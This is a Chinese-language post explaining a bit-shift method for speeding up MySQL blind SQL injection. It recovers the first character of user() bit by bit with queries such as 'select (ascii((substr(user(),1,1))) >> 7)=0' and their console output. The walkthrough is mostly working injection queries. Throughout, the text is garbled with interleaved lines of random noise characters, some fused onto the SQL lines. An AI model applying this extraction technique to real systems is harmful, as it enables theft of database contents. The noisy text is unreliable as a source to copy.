关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
0 S3 ^) ?1 v* H- \& o

) y9 J5 g$ I1 t1 l" ]1 |* d& ]6 l' C
下面将以查询mysql数据库当中user()的第一位为例:
$ ^+ n! d4 ~* A


ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
+ ?0 x* r: `$ E; \" E! a. Z* B7 ]
9 ~1 W) v5 X* u8 M

首先执行如下sql语句:


) s/ }' m9 h* C9 X
; O7 w3 B5 Z" cmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
9 T& o9 Q  o7 k+ B

5 I% I: b& a% x. V
8 Y# R0 a9 Q0 t) ]' w$ Y3 l我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的

& I9 [. Q  w/ ]- @

第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
! d8 j& v2 t: `# L* X

# B& Y, [- _: |) j3 g- C
如果运算结果为1,说明第一位为0,不为1


" v. M3 r' E/ I/ F% T& G; _
$ ^6 c% t. j& f+————————————–+
" x) F4 u  Y8 J& _! O# ?
- c% D7 }9 Z9 f2 D| (ascii((substr(user(),1,1))) >> 7)=0 |
* ^/ D& ^7 ^1 u* |
- B; c* h! Y) K+————————————–+

| 1 |

+————————————–+

1 row in set (0.00 sec)
. d. F9 d! |5 e* E+ f0 j& A! T
这样我们就确定这个8bit的ascii的第一位为0



$ K9 I1 A' P! C& j1 j) ~0 X; P第二次我们来做6次右偏移来确定前两位

/ s3 B9 }( a% w, O& ~
+ {7 R- d/ \5 Y# I+ J6 A
前两位可能是01或00,即依然可以与0做比较,
4 u4 [5 S$ J- V; Y5 r  c8 x7 Z
) k% s, S+ {3 cmysql> select (ascii((substr(user(),1,1))) >> 6)=0;
6 d+ |% H5 K4 U2 W
+————————————–+
9 l( V* P" {; f# w( n" Y
, f, I" P" \& w7 S% |' a| (ascii((substr(user(),1,1))) >> 6)=0 |
4 J: T8 {& J3 y2 z+ G# U6 X
! [& x* P+ S% c  k) l+————————————–+

| 0 |
' D; T; d3 Q7 w4 B. Q
; Z( p+ O4 T, U+————————————–+
% D8 W6 u' P$ ]1 |, H
" F* R2 B6 A( P2 o1 row in set (0.00 sec)



( M) q. Z1 L0 Z$ P& [结果为0,即第二位为1
% ]8 D6 B( @/ _& r
- Q0 N" w: A  @, R. H
% Q  {0 k# U0 |# J/ w5 D' J% t
( X2 `, g; ]* ?6 T' W开始猜测前三位为010或011


, p, I# D" L' P: g& C, a- |4 O
; Y1 L. T0 n5 h0 Z! H( }让我们看看010和011的ascii码是多少


- Z6 C; n6 _# ^( S% S
分别查询select b’011′ select b’010′



) ^# H& C* d! Q. X: F8 p获得结果 010 = 2 011 = 3
4 a! |- D& L1 N# e. L


4 P3 y9 O  w* v: X. B& v9 v执行如下sql:
! t" e& S* A- ^- y

& m8 \5 Y4 T. M
3 M6 @  \& \% ^/ r8 amysql> select (ascii((substr(user(),1,1))) >> 5)=2;

6 V0 r: i9 |1 U4 A# Y/ }! {+————————————–+

| (ascii((substr(user(),1,1))) >> 5)=2 |

+————————————–+
5 D/ H  E( b; b. W+ I
| 0 |
. k. X* Y1 W9 \% w  D  w# P
7 s) f. h7 \# T7 r+————————————–+
5 ]( |% d2 T, X% ^4 @- t
1 K' q# h# t$ Q# Y) `即前三位不为010,而是011

4 X5 Q' R- t1 {6 g
1 f, B5 [# d8 S# Q( X* `' R" O. H
0 A1 h0 E9 }, s: `直到获得最后一位

; W' ^2 e3 @! ~" N# L& a; q

最终结果为:01110010
6 U: e9 }  e/ v: |2 c1 p- f

1 G" O9 a3 @' C" B
( m1 c" z# |: F3 {2 W: O2 J2 z转换一下:


( e6 _9 H: r7 J, X. U* f
select b’01110010′
$ {+ ]6 g) z0 }8 L2 |% s" {
$ o6 n, x* U3 K2 o- N% z% d
4 b* T& n& m+ f
查询结果
! T+ ^" F& y) W
4 ?6 E( S. n- w6 {6 o

+————-+
! Q/ p: f# W$ H, \( `  Y
* V# h. j8 V) r| b’01110010′ |

+————-+

- S; X' u1 m  H- s8 }+ R+ ?| r |
  ?+ }: C- t0 D1 {/ T& v
$ Q! V. b, p! v& K. I+————-+
% X% |1 \% K0 ?0 @3 r- @
1 row in set (0.00 sec)
/ p0 V# B% F+ ?2 ~+ z& c' w


9 G: B5 `$ \7 h6 K0 I这样我们就获得了user()的第一位.其它位依此类推

" g% g5 _) E# v